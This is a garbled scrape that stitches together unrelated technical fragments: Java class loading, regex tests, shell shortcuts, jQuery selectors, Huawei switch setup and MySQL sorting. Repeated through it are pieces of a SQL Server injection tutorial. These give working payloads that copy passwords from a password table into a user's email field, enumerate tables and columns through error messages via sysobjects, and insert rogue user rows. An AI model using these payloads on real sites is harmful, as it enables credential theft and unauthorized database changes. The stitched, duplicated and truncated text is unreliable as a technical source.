Class loading order for JavaFirst, load order1. Initialization of the static member variable of the parent class1.1. Static code block1.2, ordinary code block1.3, no parameter constructor2. Static code block for parent class3. Initialization of a static member variable of a subclass 3.1. Static code block 3.2, ordinary code block3.3, no parameter constructor4. Static code blocks for subclasses5. The normal member variable of the parent class is initialized5.1. Static code block5.2, ordinary co
Web site for testing:
Http://www.pagecolumn.com/tool/regtest.htmthe string used for testing is:
BsdfefsdfAaaDfsdfaAAA G: Global lookup Mode
No g will only match 1, plus g to find all the matches
Regular expression:
/aaa/The results match the following:
Bsdfefsdf
Aaa
Dfsdfa
Aaa
Regular expression:
/aaa/gThe result
[users] set email= (select top 1 pwd from password where id=2) where name=ffff;--; Update [users] set email= (select top 1 name from password where id=2) where name=ffff;--The above statement is to get the first user table in the _blank> database and place the table name in the FFFF user's mailbox field.By looking at FFFF's user profile, you can get the first one to use the table called ADAnd then get the ID of the table based on the table name ad to get the name of the second table.Insert into
table that stores all table names, views, constraints, and other objects, xtype= ' U ' and status>0, the name of the table that the user creates, and the above statement takes the first table name out and compares it to 0. Let the error message expose the table name.
;; and (select top 1 col_name (object_id (' table name '), 1) from sysobjects) >0After you get the table name from ⑤, use object_id (' table name ') to get the internal id,col_name (table name id,1) of the table name to represent t
.
;; and (select top 1 col_name (object_id (' table name '), 1) from sysobjects) >0
After you get the table name from ⑤, use object_id (' table name ') to get the internal id,col_name (table name id,1) of the table name to represent the 1th field name of the table, and replace 1 with 2,3,4 ... you can get the name of the field in the puzzle sheet one by one.
Post.htm content: The main is to facilitate input.
Name of his data table:
Id=1552;update AAA
] set email= (select top 1 pwd from password where id=2) where name=ffff;–; Update [users] set email= (select top 1 name from password where id=2) where name=ffff;–The above statement is to get the first user table in the _blank> database and place the table name in the FFFF user's mailbox field.By looking at FFFF's user profile, you get the first table called AD.Then the ID of this table is given by the table name AD to get the name of the second table INSERT into users values (666, char (0x63)
immediately).Clear or shortcut key ctrl+l(clear screen) Ctrl + C or Q (exiting the current process); Ctrl + Z (suspends the process to the background, which is the equivalent of minimizing). BG Jobid (Let the process continue in the background); FG Jobid (Let the process go back to the foreground).Echo (print)Example: (Echo AAA) Print AAA to the console, (a=123) (echo $a) print 124 stored in the A variable
, and put the table name in the ffff user's mailbox field.By viewing ffff user information, you can obtain the first table named ad.Then, the ID of the table is obtained based on the table name ad. The name of the second table is obtained.Insert into users values (666, char (0 × 63) + char (0 × 68) + char (0 × 72) + char (0 × 69) + char (0 × 73), char (0 × 63) + char (0 × 68) + char (0 × 72) + char (0 × 69) + char (0 × 73), 0 xffff )-Insert into users values (667,123,123, 0 xffff )-Insert into u
Regular dishes (continue for help) aaa. bbb. ccc. ddd $ aaa. bbb. ccc. ddd... aaa. bbb. ccc. how to replace ddd with regular expressions with aaa. bbb. ccc. ddd $. b. c. d... aaa. bbb. ccc. I didn't ask a question for ddd twice. ------ solution ------------------ try it firs
the first table named ad.
Then, the ID of the table is obtained based on the table name ad. The name of the second table is obtained.
Insert into users values (666, char (0x63) + char (0x68) + char (0x72) + char (0x69) + char (0x73), char (0x63) + char (0x68) + char (0x72) + char (0x69) + char (0x73), 0 xFFFF )--
Insert into users values (667,123,123, 0 xFFFF )--
Insert into users values (123, admin --, password, 0 xFFFF )--
; And user> 0
; And (select count (*) from sysobjects)> 0
Special characters selected:
# ID. Indicates class* Select all, Select multipleSpace descendant> Sub-~ Brother+ Next: Sub-function)() Functional filtering and searching
Get all the title objects under the DIV: $ ("Div: Header ")CopyCodeThe Code is as follows:
Get all title objects: $ (": Header ")Copy codeThe Code is as follows:
get first, for example, $ ("Li: First") or $ ("Li "). first () or $ ("Ul: First") or $ ("Ul Li: First") copy Code the code is as follows:
table of SQLServer. It stores all table names, views, constraints, and other objects. xtype = 'U' and status> 0 indicates the table name created by the user, the preceding statement extracts the first table name and compares it with 0 to expose the table name with an error message.
; And (select Top 1 col_name (object_id ('table name'), 1) from sysobjects)> 0After obtaining the table name from ⑤, use object_id ('table name') to obtain the internal ID corresponding to the table name. col_name (t
compares it with 0 to expose the table name with an error message.
; And (select top 1 col_name (object_id ('table name'), 1) from sysobjects)> 0After obtaining the table name from ⑤, use object_id ('table name') to obtain the internal ID corresponding to the table name. col_name (table name ID, 1) represents the 1st field names of the table, replace 1 with 2, 3, 4... you can obtain the field names in the table to be guessed one by one.
Post.htm content: easy to input.
Name of his data table:I
with an error message.
; And (select top 1 col_name (object_id ('table name'), 1) from sysobjects)> 0After obtaining the table name from ⑤, use object_id ('table name') to obtain the internal ID corresponding to the table name. col_name (table name ID, 1) represents the 1st field names of the table, replace 1 with 2, 3, 4... you can obtain the field names in the table to be guessed one by one.
Post.htm content: easy to input.
Name of his data table:Id = 1552; update
If it is a newly initialized Huawei switch, you need to enter the same password two times as the login password for the login switch.Console port meth management port USB port on switchThrough the serial cable configuration S5700 management IP address, serial cable connected to the console port of the switch, IP settings are completed after the network cable connected to the ETH port:[Quidway] interface MEth 0/0/1[Quidway] interface MEth 0/0/1[Quidway-meth0/0/1]ip address x.x.x.x 255.255.255.0//
' and status>0) >0sysobjects is a SQL Server system table that stores all table names, views, constraints, and other objects, xtype= ' U ' and status>0, the name of the table that the user creates, and the above statement takes the first table name out and compares it to 0. Let the error message expose the table name.
;; and (select top 1 col_name (object_id (' table name '), 1) from sysobjects) >0After you get the table name from ⑤, use object_id (' table name ') to get the internal id,col_na
the order of the winning red part, you can understand why. Because the first query returns a column that has more bytes than Max_length_for_sort_data, which causes the sort to be sorted in a regular order, in which case MySQL sorts the rowid and turns random io into sequential io, so it returns 5 in front, 6 in the back While the second query is optimized, there is no process to skim the data for the second time, and the relative position of the sorted record is maintained. For the first statem
;581577110) where name=ffff;--; Update [users] set email= (select top 1 count (ID) from password) where name=ffff;--; Update [users] set email= (select top 1 pwd from password where id=2) where name=ffff;--; Update [users] set email= (select top 1 name from password where id=2) where name=ffff;--The above statement is to get the first user table in the _blank> database and place the table name in the FFFF user's mailbox field.By looking at FFFF's user profile, you get the first table called AD.T
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